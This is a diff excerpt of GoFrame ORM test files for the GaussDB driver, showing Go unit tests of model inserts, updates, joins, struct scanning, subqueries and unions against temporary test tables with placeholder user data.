func createTableDO(table ...string) (name string) {
if len(table) > 0 {
name = table[0]
} else {
name = fmt.Sprintf(`%s_%d`, TablePrefix+"do_test", gtime.TimestampNano())
}
dropTable(name)
if _, err := db.Exec(ctx, fmt.Sprintf(`
CREATE TABLE %s (
id bigserial NOT NULL,
passport varchar(45) DEFAULT '',
password varchar(32) DEFAULT '',
nickname varchar(45) DEFAULT '',
create_time timestamp DEFAULT NULL,
PRIMARY KEY (id)
);`, name,
)); err != nil {
gtest.Fatal(err)
}
return
}
func Test_Model_Insert_Data_DO(t *testing.T) {
table := createTableDO()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := User{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
})
}
func Test_Model_Insert_Data_List_DO(t *testing.T) {
table := createTableDO()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := g.Slice{
User{
Id: 1,
Passport: "user_1",
Password: "pass_1",
},
User{
Id: 2,
Passport: "user_2",
Password: "pass_2",
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 2)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
one, err = db.Model(table).WherePri(2).One()
t.AssertNil(err)
t.Assert(one[`id`], 2)
t.Assert(one[`passport`], `user_2`)
t.Assert(one[`password`], `pass_2`)
t.Assert(one[`nickname`], ``)
})
}
func Test_Model_Update_Data_DO(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := User{
Id: 1,
Passport: "user_100",
Password: "pass_100",
}
_, err := db.Model(table).Data(data).WherePri(1).Update()
t.AssertNil(err)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_100`)
t.Assert(one[`password`], `pass_100`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Update_Pointer_Data_DO(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type NN string
type Req struct {
Id int
Passport *string
Password *string
Nickname *NN
}
type UserDo struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
var (
nickname = NN("nickname_111")
req = Req{
Password: gconv.PtrString("12345678"),
Nickname: &nickname,
}
data = UserDo{
Passport: req.Passport,
Password: req.Password,
Nickname: req.Nickname,
}
)
_, err := db.Model(table).Data(data).WherePri(1).Update()
t.AssertNil(err)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`password`], `12345678`)
t.Assert(one[`nickname`], `nickname_111`)
})
}
func Test_Model_Where_DO(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type User struct {
g.Meta `orm:"do:true"`
Id any
Passport any
Password any
Nickname any
CreateTime any
}
where := User{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
one, err := db.Model(table).Where(where).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Insert_Data_ForDao(t *testing.T) {
table := createTableDO()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := UserForDao{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
})
}
func Test_Model_Insert_Data_List_ForDao(t *testing.T) {
table := createTableDO()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := g.Slice{
UserForDao{
Id: 1,
Passport: "user_1",
Password: "pass_1",
},
UserForDao{
Id: 2,
Passport: "user_2",
Password: "pass_2",
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 2)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], ``)
one, err = db.Model(table).WherePri(2).One()
t.AssertNil(err)
t.Assert(one[`id`], 2)
t.Assert(one[`passport`], `user_2`)
t.Assert(one[`password`], `pass_2`)
t.Assert(one[`nickname`], ``)
})
}
func Test_Model_Update_Data_ForDao(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
data := UserForDao{
Id: 1,
Passport: "user_100",
Password: "pass_100",
}
_, err := db.Model(table).Data(data).WherePri(1).Update()
t.AssertNil(err)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_100`)
t.Assert(one[`password`], `pass_100`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Where_ForDao(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
where := UserForDao{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
one, err := db.Model(table).Where(where).One()
t.AssertNil(err)
t.Assert(one[`id`], 1)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Where_FieldPrefix(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
array := gstr.SplitAndTrim(gtest.DataContent(`table_with_prefix.sql`), ";")
for _, v := range array {
if _, err := db.Exec(ctx, v); err != nil {
gtest.Error(err)
}
}
defer dropTable("instance")
type Instance struct {
ID int `orm:"f_id"`
Name string
}
type InstanceDo struct {
g.Meta `orm:"table:instance, do:true"`
ID any `orm:"f_id"`
}
var instance *Instance
err := db.Model("instance").Where(InstanceDo{
ID: 1,
}).Scan(&instance)
t.AssertNil(err)
t.AssertNE(instance, nil)
t.Assert(instance.ID, 1)
t.Assert(instance.Name, "john")
})
// With omitempty.
gtest.C(t, func(t *gtest.T) {
array := gstr.SplitAndTrim(gtest.DataContent(`table_with_prefix.sql`), ";")
for _, v := range array {
if _, err := db.Exec(ctx, v); err != nil {
gtest.Error(err)
}
}
defer dropTable("instance")
type Instance struct {
ID int `orm:"f_id,omitempty"`
Name string
}
type InstanceDo struct {
g.Meta `orm:"table:instance, do:true"`
ID any `orm:"f_id,omitempty"`
}
var instance *Instance
err := db.Model("instance").Where(InstanceDo{
ID: 1,
}).Scan(&instance)
t.AssertNil(err)
t.AssertNE(instance, nil)
t.Assert(instance.ID, 1)
t.Assert(instance.Name, "john")
})
}

View File

@ -1,177 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Model_LeftJoinOnField(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
LeftJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 2)
})
}
func Test_Model_RightJoinOnField(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
RightJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 2)
})
}
func Test_Model_InnerJoinOnField(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
InnerJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 2)
})
}
func Test_Model_LeftJoinOnFields(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
LeftJoinOnFields(table2, "id", "=", "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 2)
})
}
func Test_Model_RightJoinOnFields(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
RightJoinOnFields(table2, "id", "=", "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 2)
})
}
func Test_Model_InnerJoinOnFields(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
InnerJoinOnFields(table2, "id", "=", "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 2)
})
}
func Test_Model_FieldsPrefix(t *testing.T) {
var (
table1 = "t_" + gtime.TimestampNanoStr() + "_table1"
table2 = "t_" + gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "id").
FieldsPrefix(table2, "nickname").
LeftJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 1)
t.Assert(r[0]["nickname"], "name_1")
})
}

View File

@ -1,477 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"database/sql"
"reflect"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/errors/gcode"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/gconv"
)
func Test_Model_Embedded_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type Base struct {
Id int `json:"id"`
CreateTime string `json:"create_time"`
}
type User struct {
Base
Passport string `json:"passport"`
Password string `json:"password"`
Nickname string `json:"nickname"`
}
result, err := db.Model(table).Data(User{
Passport: "john-test",
Password: "123456",
Nickname: "John",
Base: Base{
Id: 100,
CreateTime: gtime.Now().String(),
},
}).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
value, err := db.Model(table).Fields("passport").Where("id=100").Value()
t.AssertNil(err)
t.Assert(value.String(), "john-test")
})
}
func Test_Model_Embedded_MapToStruct(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type Ids struct {
Id int `json:"id"`
}
type Base struct {
Ids
CreateTime string `json:"create_time"`
}
type User struct {
Base
Passport string `json:"passport"`
Password string `json:"password"`
Nickname string `json:"nickname"`
}
data := g.Map{
"id": 100,
"passport": "t1",
"password": "123456",
"nickname": "T1",
"create_time": gtime.Now().String(),
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).Where("id=100").One()
t.AssertNil(err)
user := new(User)
t.Assert(one.Struct(user), nil)
t.Assert(user.Id, data["id"])
t.Assert(user.Passport, data["passport"])
t.Assert(user.Password, data["password"])
t.Assert(user.Nickname, data["nickname"])
t.Assert(user.CreateTime, data["create_time"])
})
}
func Test_Struct_Pointer_Attribute(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id *int
Passport *string
Password *string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
user := new(User)
err = one.Struct(user)
t.AssertNil(err)
t.Assert(*user.Id, 1)
t.Assert(*user.Passport, "user_1")
t.Assert(*user.Password, "pass_1")
t.Assert(user.Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
user := new(User)
err := db.Model(table).Scan(user, "id=1")
t.AssertNil(err)
t.Assert(*user.Id, 1)
t.Assert(*user.Passport, "user_1")
t.Assert(*user.Password, "pass_1")
t.Assert(user.Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).Scan(&user, "id=1")
t.AssertNil(err)
t.Assert(*user.Id, 1)
t.Assert(*user.Passport, "user_1")
t.Assert(*user.Password, "pass_1")
t.Assert(user.Nickname, "name_1")
})
}
func Test_Structs_Pointer_Attribute(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id *int
Passport *string
Password *string
Nickname string
}
// All
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
users := make([]User, 0)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
users := make([]*User, 0)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []User
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []*User
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
// Structs
gtest.C(t, func(t *gtest.T) {
users := make([]User, 0)
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
users := make([]*User, 0)
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []User
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []*User
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
}
func Test_Struct_Empty(t *testing.T) {
table := createTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Password string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
user := new(User)
err := db.Model(table).Where("id=100").Scan(user)
t.Assert(err, sql.ErrNoRows)
t.AssertNE(user, nil)
})
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).Where("id=100").One()
t.AssertNil(err)
var user *User
t.Assert(one.Struct(&user), nil)
t.Assert(user, nil)
})
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).Where("id=100").Scan(&user)
t.AssertNil(err)
t.Assert(user, nil)
})
}
func Test_Structs_Empty(t *testing.T) {
table := createTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Password string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]User, 0)
t.Assert(all.Structs(&users), nil)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]User, 10)
t.Assert(all.Structs(&users), sql.ErrNoRows)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
var users []User
t.Assert(all.Structs(&users), nil)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]*User, 0)
t.Assert(all.Structs(&users), nil)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]*User, 10)
t.Assert(all.Structs(&users), sql.ErrNoRows)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
var users []*User
t.Assert(all.Structs(&users), nil)
})
}
type MyTime struct {
gtime.Time
}
type MyTimeSt struct {
CreateTime MyTime
}
func (st *MyTimeSt) UnmarshalValue(v any) error {
m := gconv.Map(v)
t, err := gtime.StrToTime(gconv.String(m["create_time"]))
if err != nil {
return err
}
st.CreateTime = MyTime{*t}
return nil
}
func Test_Model_Scan_CustomType_Time(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
st := new(MyTimeSt)
err := db.Model(table).Fields("create_time").Scan(st)
t.AssertNil(err)
t.Assert(st.CreateTime.String(), "2018-10-24 10:00:00")
})
gtest.C(t, func(t *gtest.T) {
var stSlice []*MyTimeSt
err := db.Model(table).Fields("create_time").Scan(&stSlice)
t.AssertNil(err)
t.Assert(len(stSlice), TableSize)
t.Assert(stSlice[0].CreateTime.String(), "2018-10-24 10:00:00")
t.Assert(stSlice[9].CreateTime.String(), "2018-10-24 10:00:00")
})
}
func Test_Model_Scan_CustomType_String(t *testing.T) {
type MyString string
type MyStringSt struct {
Passport MyString
}
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
st := new(MyStringSt)
err := db.Model(table).Fields("Passport").WherePri(1).Scan(st)
t.AssertNil(err)
t.Assert(st.Passport, "user_1")
})
gtest.C(t, func(t *gtest.T) {
var sts []MyStringSt
err := db.Model(table).Fields("Passport").Order("id asc").Scan(&sts)
t.AssertNil(err)
t.Assert(len(sts), TableSize)
t.Assert(sts[0].Passport, "user_1")
})
}
type User struct {
Id int
Passport string
Password string
Nickname string
CreateTime *gtime.Time
}
func (user *User) UnmarshalValue(value any) error {
if record, ok := value.(gdb.Record); ok {
*user = User{
Id: record["id"].Int(),
Passport: record["passport"].String(),
Password: "",
Nickname: record["nickname"].String(),
CreateTime: record["create_time"].GTime(),
}
return nil
}
return gerror.NewCodef(gcode.CodeInvalidParameter, `unsupported value type for UnmarshalValue: %v`, reflect.TypeOf(value))
}
func Test_Model_Scan_UnmarshalValue(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var users []*User
err := db.Model(table).Order("id asc").Scan(&users)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(users[0].Id, 1)
t.Assert(users[0].Passport, "user_1")
t.Assert(users[0].Password, "")
t.Assert(users[0].Nickname, "name_1")
t.Assert(users[0].CreateTime.String(), CreateTime)
t.Assert(users[9].Id, 10)
t.Assert(users[9].Passport, "user_10")
t.Assert(users[9].Password, "")
t.Assert(users[9].Nickname, "name_10")
t.Assert(users[9].CreateTime.String(), CreateTime)
})
}
func Test_Model_Scan_Map(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var users []*User
err := db.Model(table).Order("id asc").Scan(&users)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(users[0].Id, 1)
t.Assert(users[0].Passport, "user_1")
t.Assert(users[0].Password, "")
t.Assert(users[0].Nickname, "name_1")
t.Assert(users[0].CreateTime.String(), CreateTime)
t.Assert(users[9].Id, 10)
t.Assert(users[9].Passport, "user_10")
t.Assert(users[9].Password, "")
t.Assert(users[9].Nickname, "name_10")
t.Assert(users[9].CreateTime.String(), CreateTime)
})
}
func Test_Scan_AutoFilteringByStructAttributes(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
}
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).OrderAsc("id").Scan(&user)
t.AssertNil(err)
t.Assert(user.Id, 1)
})
gtest.C(t, func(t *gtest.T) {
var users []User
err := db.Model(table).OrderAsc("id").Scan(&users)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(users[0].Id, 1)
})
}

View File

@ -1,66 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Model_SubQuery_Where(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Where(
"id in ?",
db.Model(table).Fields("id").Where("id", g.Slice{1, 3, 5}),
).OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 3)
t.Assert(r[2]["id"], 5)
})
}
func Test_Model_SubQuery_Having(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Where(
"id in ?",
db.Model(table).Fields("id").Where("id", g.Slice{1, 3, 5}),
).Group("id").Having(
"id > ?",
db.Model(table).Fields("MAX(id)").Where("id", g.Slice{1, 3}),
).OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(r), 1)
t.Assert(r[0]["id"], 5)
})
}
func Test_Model_SubQuery_Model(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
subQuery1 := db.Model(table).Where("id", g.Slice{1, 3, 5})
subQuery2 := db.Model(table).Where("id", g.Slice{5, 7, 9})
r, err := db.Model("? AS a, ? AS b", subQuery1, subQuery2).Fields("a.id").Where("a.id=b.id").OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(r), 1)
t.Assert(r[0]["id"], 5)
})
}

File diff suppressed because it is too large Load Diff

View File

@ -1,146 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Union(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}
func Test_UnionAll(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 2)
t.Assert(r[3]["id"], 1)
t.Assert(r[4]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}
func Test_Model_Union(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}
func Test_Model_UnionAll(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 2)
t.Assert(r[3]["id"], 1)
t.Assert(r[4]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}

File diff suppressed because it is too large Load Diff

View File

@ -239,6 +239,37 @@ func Test_Model_Exist(t *testing.T) {
})
}
func Test_Model_Where(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// map + slice parameter
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Where(g.Map{
"id": g.Slice{1, 2, 3},
"passport": g.Slice{"user_2", "user_3"},
}).Where("id=? and nickname=?", g.Slice{3, "name_3"}).One()
t.AssertNil(err)
t.AssertGT(len(result), 0)
